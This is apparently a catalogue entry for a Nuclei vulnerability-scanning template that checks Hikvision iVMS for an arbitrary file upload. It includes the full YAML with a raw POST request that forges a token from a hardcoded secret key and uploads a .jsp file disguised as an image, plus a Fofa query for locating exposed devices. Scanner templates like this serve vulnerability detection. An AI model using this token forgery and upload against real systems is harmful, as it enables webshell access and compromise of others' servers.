hikvision-ivms-file-upload-bypass: Hikvison iVMS - File Upload Bypass
- Template: hikvision-ivms-file-upload-bypass
- Name: Hikvison iVMS - File Upload Bypass
- Description: Hikvision iVMS integrated security system has a vulnerability that allows arbitrary file uploads. Attackers can exploit this vulnerability by obtaining the encryption key to create a forged token. By using the forged token, they can make requests to the "/resourceOperations/upload" interface to upload files of their choice. This can lead to gaining unauthorized webshell access on the server, enabling remote execution of malicious code.
- Severity: critical
- Authors: SleepingBag945
- Tags: hikvision, ivms, intrusive, fileupload, auth-bypass, vuln
- References: https://blog.csdn.net/qq_41904294/article/details/130807691
- Verified: yes
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/hikvision/hikvision-ivms-file-upload-bypass.yaml
- Digest: 4b0a00483046022100b5d391a30801fde156caac83d0ff506f272fe5d39089d713a70dce26233da0ea022100935a8c66ddd19db824da12d361ee75871d6ac30dcbb7ff2e9d6181dbbd5ac577
- Created at: 2023-08-25T03:54:57Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1188
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/hikvision/hikvision-ivms-file-upload-bypass.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Fofa-query: icon_hash="-911494769"
- Max-request: 1
- Verified: yes
Labels
- Name: Hikvision iVMS - Arbitrary File Upload
- Impact: Attackers can upload arbitrary files to gain webshell access, enabling remote code execution and full server compromise.
- Remediation: Update to the latest version of Hikvision iVMS.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: file_system_write, remote_code_execution
- Requirements: Attacker needs the encryption key to forge a valid token
- Labels source: securitycontext
- Not known: requirement type, from cve
```yaml
id: hikvision-ivms-file-upload-bypass
info:
name: Hikvison iVMS - File Upload Bypass
author: SleepingBag945
severity: critical
description: Hikvision iVMS integrated security system has a vulnerability that allows arbitrary file uploads. Attackers can exploit this vulnerability by obtaining the encryption key to create a forged token. By using the forged token, they can make requests to the "/resourceOperations/upload" interface to upload files of their choice. This can lead to gaining unauthorized webshell access on the server, enabling remote execution of malicious code.
reference:
- https://blog.csdn.net/qq_41904294/article/details/130807691
metadata:
verified: true
max-request: 1
fofa-query: icon_hash="-911494769"
tags: hikvision,ivms,intrusive,fileupload,auth-bypass,vuln
http:
- raw:
- |
POST /eps/api/resourceOperations/upload?token={{to_upper(md5(concat("{{RootURL}}","/eps/api/resourceOperations/uploadsecretKeyIbuilding")))}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="{{randstr}}.jsp"
Content-Type: image/jpeg
{{randstr}}
------WebKitFormBoundaryGEJwiloiPo%20
matchers:
- type: word
part: body
words:
- '"success":true'
- '"resourceName":'
condition: and
digest: 4b0a00483046022100b5d391a30801fde156caac83d0ff506f272fe5d39089d713a70dce26233da0ea022100935a8c66ddd19db824da12d361ee75871d6ac30dcbb7ff2e9d6181dbbd5ac577:922c64590222798bb761d5b6d8e72950
```